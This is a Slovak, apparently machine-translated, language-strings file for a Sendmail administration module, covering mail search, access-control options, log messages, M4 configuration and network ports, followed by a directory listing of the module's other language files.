delete_emovenone=Na presun nebol vybratý žiadny e-mail
delete_nobutton=Klikli na žiadne tlačidlo

search_title=Výsledky vyhľadávania
search_ecannot=Nemáte povolené prehľadávať e-maily tohto používateľa
search_ematch=Musíte zadať text, aby sa zhodoval s.
search_efield=Musíte vybrať typ vyhľadávania.
search_ewhat=V riadku $1 nebol zadaný žiadny porovnávací text
search_enone=Neboli zadané žiadne kritériá vyhľadávania
search_none=Nenašli sa žiadne správy.
search_results2=E-mailové správy: $1 zodpovedajúce $2 ..
search_results3=E-mailové správy $1 nezodpovedajú $2 ..
search_results4=E-mailové správy: $1 zodpovedajúce vášmu vyhľadávaniu.
search_local=V miestnych priečinkoch
search_all=Vo všetkých priečinkoch
search_eboolean=Booleovské vyhľadávania využívajúce znaky „aj“ a „alebo“ nie sú podporované

file_title=Upraviť súbor Sendmail
file_desc=Pomocou textového poľa nižšie manuálne upravte súbor Sendmail $1.
file_undo=Vrátiť zmeny
file_edit=Ručne upravte $1 
file_ealiases=Súbor aliasu môžete upravovať iba vtedy, ak máte prístup ku všetkým prezývkam.
file_evirtusers=Súbor mapovaní adries môžete upraviť iba v prípade, že máte prístup ku všetkým mapovaniam adries.
file_emailers=Nemáte oprávnenie upravovať smerovací súbor domény.
file_egenerics=Súbor odchádzajúcich adries môžete upraviť iba v prípade, že máte prístup ku všetkým odchádzajúcim adresám.
file_edomains=Nemáte oprávnenie upravovať súbor mapovania domén.
file_eaccess=Nemáte oprávnenie upravovať súbor na kontrolu spamu.
file_ecannot=Nemáte oprávnenie upravovať tento súbor
file_emode=Neznámy režim!
file_err=Súbor sa nepodarilo upraviť
file_ealias=Neplatný formát pre riadok súboru aliasu : $1 
file_etab=Neplatný formát pre riadok s mapovým súborom : $1 

acl_opts=Môžete upravovať možnosti odosielania pošty?
acl_ports=Môžete upravovať sieťové porty?
acl_cws=Môžete upravovať miestne domény?
acl_masq=Môžete nakonfigurovať maskovanie domén?
acl_trusts=Môžete upravovať dôveryhodných používateľov?
acl_cgs=Môžete upravovať odchádzajúce domény?
acl_relay=Môžete upravovať prenosové domény?
acl_mailers=Môžete nakonfigurovať smerovanie domény?
acl_access=Môžete nakonfigurovať kontrolu spamu?
acl_domains=Môžete nakonfigurovať mapovanie domén?
acl_stop=Môže spustiť a zastaviť odosielanie pošty?
acl_manual=Môžete súbory upravovať manuálne?
acl_flushq=Môže vypláchnuť frontu pošty?
acl_mailq=Dokážete spravovať e-mailovú frontu?
acl_viewdel=Zobraziť a odstrániť
acl_view=Zobraziť iba
acl_vcatchall=Dokážete vytvoriť záchytné mapovania?
acl_qdoms=Adresy viditeľné vo fronte
acl_qdomsmode=Adresa fronty, ktorá sa má zhodovať
acl_qdomsmode0=Od: adresa
acl_qdomsmode1=Adresovať
acl_qdomsmode2=Buď adresa
acl_virtusers=Mapovania adries, ktoré môže tento používateľ upravovať
acl_none=nikto
acl_same=Používateľ s rovnakým menom
acl_all=všetko
acl_vsame=Počnúc používateľským menom @
acl_matching=Zodpovedajúci regulárny výraz
acl_vtypes=Typy mapovania adries, ktoré môže tento používateľ upravovať
acl_vtype0=Chyba vrátenia
acl_vtype1=Do domény
acl_vtype2=Adresovať
acl_vmax=Maximálny počet mapovaní adries
acl_unlimited=neobmedzený
acl_aliases=Aliasy, ktoré môže tento používateľ upravovať
acl_atypes=Typy aliasu, ktoré môže tento používateľ upravovať
acl_atype1=Emailová adresa
acl_atype2=Adresy v súbore
acl_atype3=Zápis do súboru
acl_atype4=Krmivo do programu
acl_atype5=Automatická odpoveď
acl_atype6=Filtrovať súbor
acl_amax=Maximálny počet prezývok
acl_outgoing=Odchádzajúce adresy, ktoré môže tento používateľ upravovať
acl_read=Používatelia, ktorých poštu je možné prečítať
acl_users=Iba používatelia
acl_userse=Všetci okrem používateľov
acl_usersg=Členovia skupiny
acl_from=Povolené z adries
acl_any=Akákoľvek adresa
acl_fdoms=Poštová schránka @ domény
acl_faddrs=Zoznam adries
acl_fdom=Akákoľvek adresa @ doména
acl_fromname=Skutočné meno pre Z adresy
acl_apath=Obmedzte súbory a program na adresár
acl_attach=Maximálna celková veľkosť príloh
acl_sent=Uložte odoslanú poštu do poštovej schránky
acl_canattach=Môžete pripojiť súbory na strane servera?
acl_boxname=Zobraziť názov schránky ako
acl_boxname0=Názov súboru
acl_boxname1=Skutočné meno používateľa
acl_boxname2=nič
acl_usersm=Používatelia sa zhodujú
acl_asame=Rovnaké ako používateľské meno
acl_usersu=S rozsahom UID
acl_spam=Kontrolné adresy spamu, ktoré môže tento používateľ upravovať

log_opts=Zmenené možnosti odosielania pošty
log_ports=Zmena sieťových portov
log_alias_create=Vytvorený alias $1 
log_alias_modify=Upravený alias $1 
log_alias_delete=Vymazaný alias $1 
log_alias_manual=Ručne upravený súbor alias $1 
log_cws=Zmenené miestne domény
log_masq=Zmenené maskovanie domén
log_trusts=Zmenení dôveryhodní používatelia
log_virtuser_create=Mapovanie adresy bolo vytvorené $1 
log_virtuser_modify=Upravené mapovanie adresy $1 
log_virtuser_delete=Mapovanie odstránenej adresy $1 
log_virtuser_manual=Súbor s mapou ručne upravenej adresy $1 
log_mailer_create=Smerovanie k vytvorenej doméne $1 
log_mailer_modify=Upravené smerovanie domény $1 
log_mailer_delete=Smerovanie odstránenej domény $1 
log_mailer_manual=Ručne upravený smerovací súbor domény $1 
log_generic_create=Vytvorená odchádzajúca adresa $1 
log_generic_modify=Upravená odchádzajúca adresa $1 
log_generic_delete=Odstránená odchádzajúca adresa $1 
log_generic_manual=Ručne upravený súbor odchádzajúcej adresy $1 
log_cgs=Zmenené odchádzajúce domény
log_domain_create=Mapovanie domény bolo vytvorené $1 
log_domain_modify=Upravené mapovanie domény $1 
log_domain_delete=Mapovanie odstránenej domény $1 
log_domain_manual=Ručne upravený súbor mapovania domény $1 
log_access_create=Vytvorená kontrola spamu pre $1 
log_access_modify=Upravená kontrola spamu pre $1 
log_access_delete=Odstránená kontrola spamu pre $1 
log_access_manual=Ručne upravený súbor na kontrolu nevyžiadanej pošty $1 
log_relay=Zmenené reléové domény
log_flushq=Vyprázdnená fronta pošty
log_delmailq=Pošta bola odstránená z $1 z frontu
log_delmailqs=Odstránené $1 správy z frontu
log_stop=Zastavený démon Sendmail
log_start=Spustený démon sendmail
log_delmail=Počet odstránených správ: $1 z $2 
log_movemail=Správy boli presunuté z $2 do $3 
log_send=Odoslaná pošta na adresu $1 
log_feature_create=Pridaná položka M4 $1 
log_feature_modify=Upravená položka M4 $1 
log_feature_delete=Vymazaný záznam M4 $1 
log_feature_move=Presunutý záznam M4 $1 
log_build=Prestavaná konfigurácia sendmailu
log_delete_aliases=Odstránené $1 aliasy
log_delete_virtusers=Odstránené $1 mapovania adries
log_delete_domains=Odstránené $1 mapovania domén
log_delete_accesses=Odstránené $1 záznamy na kontrolu spamu
log_delete_generics=Odstránené $1 odchádzajúce adresy
log_delete_mailers=Odstránené trasy domény $1 

match_from=Z: zápasy
match_subject=Predmet: zápasy
match_to=Komu: zápasy
match_cc=Kópia: zápasy
match_date=Dátum: zápasy
match_status=Stavové zhody
match_body=Zápasy tela
match_size=Veľkosť je väčšia ako
match_headers=Záhlavia zápas
match_=-----------------
match_!from=Od: nezodpovedá
match_!subject=Predmet: nezodpovedá
match_!to=Komu: nezodpovedá
match_!cc=Kópia: nezhoduje sa
match_!date=Dátum: nezhoduje sa
match_!status=Stav sa nezhoduje
match_!body=Telo sa nezhoduje
match_!size=Veľkosť je menšia ako
match_!headers=Záhlavia sa nezhodujú

features_title=Sendmail M4 Configuration
features_desc=Táto stránka obsahuje zoznam dôležitých položiek z konfiguračného súboru Sendmail M4 $1, z ktorého je zostavený skutočný konfiguračný súbor $2.
features_type=Druh vstupu
features_value=Riadok v konfiguračnom súbore
features_type0=ostatné
features_type1=vlastnosť
features_type2=vymedziť
features_type3=Zakázať
features_type4=Mailer
features_type5=Typ OS
features_add=Pridať nový záznam typu:
features_build=Znovu zostaviť konfiguráciu Sendmail
features_buildmsg=Kliknutím na toto tlačidlo znova zostavíte konfiguračný súbor Sendmail $1 z vyššie uvedených konfiguračných položiek M4.
features_return=Konfigurácia M4
features_emc=Vo vašom systéme sa nenašiel konfiguračný súbor Sendmail M4 $2. Možno to nebolo nainštalované (spoločné pre balíkové inštalácie Sendmailu) alebo je <a href='$1'>konfigurácia modulu</a> nesprávna.
features_efeatures=Konfiguračný základný adresár Sendmail M4 $2 nebol vo vašom systéme nájdený alebo nie je správnym adresárom. Možno to nebolo nainštalované (spoločné pre balíkové inštalácie Sendmailu) alebo je <a href='$1'>konfigurácia modulu</a> nesprávna.
features_econfig=Umiestnenia základného adresára Sendmail M4 a konfiguračného súboru M4 ešte neboli nastavené v konfigurácii vášho <a href='$1'></a>. Ak ste nainštalovali Sendmail zo zdroja, mali by sa nachádzať v pôvodnom zdrojovom adresári.
features_move=sťahovať
features_manual=Upravte súbor ručne

feature_add=Pridať položku konfigurácie
feature_edit=Upraviť položku konfigurácie
feature_header=Podrobnosti o vstupe do konfigurácie M4
feature_text=Konfiguračná linka
feature_feat=vlastnosť
feature_values=parametre
feature_def=Názov definície
feature_defval=hodnota
feature_defmode1=Nastavený na ..
feature_defmode0=Zakázať
feature_mailer=Spôsob doručovania pošty
feature_ostype=Typ operačného systému
feature_old=Aktuálna konfiguračná linka
feature_err=Uloženie položky konfigurácie zlyhalo
feature_efeat=Funkcia $1 už existuje
feature_edef=Definícia $1 už existuje
feature_emailer=Mailer $1 už existuje
feature_eostype=Typ OS je už definovaný ako $1 
feature_manual=Upravte súbor M4
feature_mdesc=Táto stránka vám umožňuje manuálne upraviť konfiguračný súbor Sendmail M4 $1. Buďte opatrní, pretože pri vašich úpravách sa nebude vykonávať žiadna kontrola syntaxe.

feat_access_db=Súbor na kontrolu spamu
feat_virtusertable=Mapovanie adries
feat_mailertable=Smerovanie domén
feat_genericstable=Odchádzajúce adresy
feat_domaintable=Mapovanie domén

mailer_local=Doručenie v miestnom Unixe

build_title=Znovu zostaviť konfiguráciu Sendmail
build_em4=Príkaz $1 potrebný na prebudovanie konfiguračného súboru Sendmail nebol vo vašom systéme nájdený.
build_ebuild=Nepodarilo sa vytvoriť konfiguráciu : $1 
build_rusure=Naozaj chcete nahradiť konfiguračný súbor Sendmail $1 novou verziou vytvorenou z $2 ?
build_rusure2=Uvedomte si, že ak ste vykonali zmeny Sendmailu na stránke Sendmail Options, opätovné zostavenie konfiguračného súboru môže tieto zmeny prepísať, ak neboli vykonané aj v súbore M4.
build_ok=Áno, vymeňte ho teraz
build_diff=V konfiguračnom súbore Sendmail sa vykonajú nasledujúce zmeny.
build_nodiff=Váš konfiguračný súbor sendmail je už aktuálny.

stop_err=Nepodarilo sa zastaviť odosielanie pošty
stop_ecannot=Nemáte povolenie zastaviť odosielanie pošty
stop_epid=Zdá sa, že program Sendmail nie je spustený
restart_epids=Nepodarilo sa nájsť procesy sendmail
restart_ekill=Nepodarilo sa signalizovať procesy Sendmail : $1 

start_err=Nepodarilo sa spustiť sendmail
start_ecannot=Nemáte povolenie na spustenie funkcie sendmail

ports_title=Sieťové porty
ports_name=Názov prístavu
ports_addr=Vypočujte si adresu
ports_all=všetko
ports_ip=IP
ports_family=Protokol
ports_inet=IPv4
ports_inet6=IPv6
ports_port=Vypočujte si na port
ports_opts=Možnosti prístavu
ports_mod_a=Vyžadovať overenie SMTP
ports_mod_b=Na odchádzajúce e-maily použite rovnaké rozhranie
ports_mod_c=Vykonajte canonifikáciu názvu hostiteľa
ports_mod_f=Vyžadovať úplný názov hostiteľa
ports_mod_h=Pre HELO použite názov rozhrania
ports_mod_C=Nevykonávajte kanonifikáciu názvu hostiteľa
ports_mod_E=Nepovoliť ETRN
ports_def1=Prijímajte e-maily na port 25 a všetky adresy
ports_def0=Prijímať e-maily iba na portoch nižšie.
ports_err=Uloženie sieťových portov zlyhalo
ports_ecannot=Nemáte oprávnenie spravovať sieťové porty
ports_ename=V riadku $1 je neplatný názov portu
ports_eclash=Názov duplikátu portu v riadku $1 
ports_eaddress=Chýbajúca alebo neplatná adresa IP v riadku $1 
ports_eport=Chýbajúce alebo neplatné číslo portu v riadku $1 

Filemanager

Name Type Size Permission Actions
af.auto File 38.88 KB 0644
ar.auto File 54.32 KB 0644
be.auto File 64.63 KB 0644
bg.auto File 66.98 KB 0644
ca File 42.42 KB 0644
ca.auto File 292 B 0644
cs File 41.5 KB 0644
cs.auto File 512 B 0644
da.auto File 39.66 KB 0644
de File 43.25 KB 0644
de.auto File 18 B 0644
el.auto File 73.88 KB 0644
en File 37.01 KB 0644
es File 34.65 KB 0644
es.auto File 8.57 KB 0644
eu.auto File 40.03 KB 0644
fa.auto File 58.13 KB 0644
fi.auto File 41.93 KB 0644
fr File 42.05 KB 0644
fr.auto File 4.96 KB 0644
he.auto File 47.53 KB 0644
hr.auto File 40.76 KB 0644
hu File 36.98 KB 0644
hu.auto File 22 B 0644
it.auto File 42.28 KB 0644
ja File 30.51 KB 0644
ja.auto File 19.25 KB 0644
ko File 27.2 KB 0644
ko.auto File 17.02 KB 0644
lt.auto File 42.89 KB 0644
lv.auto File 41.78 KB 0644
ms.auto File 39.75 KB 0644
mt.auto File 42.37 KB 0644
nl File 40.96 KB 0644
nl.auto File 19 B 0644
no File 38.58 KB 0644
no.auto File 19 B 0644
pl File 27.9 KB 0644
pl.auto File 14.97 KB 0644
pt File 20.66 KB 0644
pt.auto File 23.04 KB 0644
pt_BR File 42.59 KB 0644
pt_BR.auto File 428 B 0644
ro.auto File 43.17 KB 0644
ru File 54.79 KB 0644
ru.auto File 11.68 KB 0644
sk.auto File 42.31 KB 0644
sl.auto File 40.1 KB 0644
sv File 23.7 KB 0644
sv.auto File 15.72 KB 0644
th.auto File 77.27 KB 0644
tr File 23.59 KB 0644
tr.auto File 17.26 KB 0644
uk File 53.6 KB 0644
uk.auto File 11.54 KB 0644
ur.auto File 55.2 KB 0644
vi.auto File 48.47 KB 0644
zh File 27.68 KB 0644
zh.auto File 6.73 KB 0644
zh_TW File 18.17 KB 0644
zh_TW.auto File 17.19 KB 0644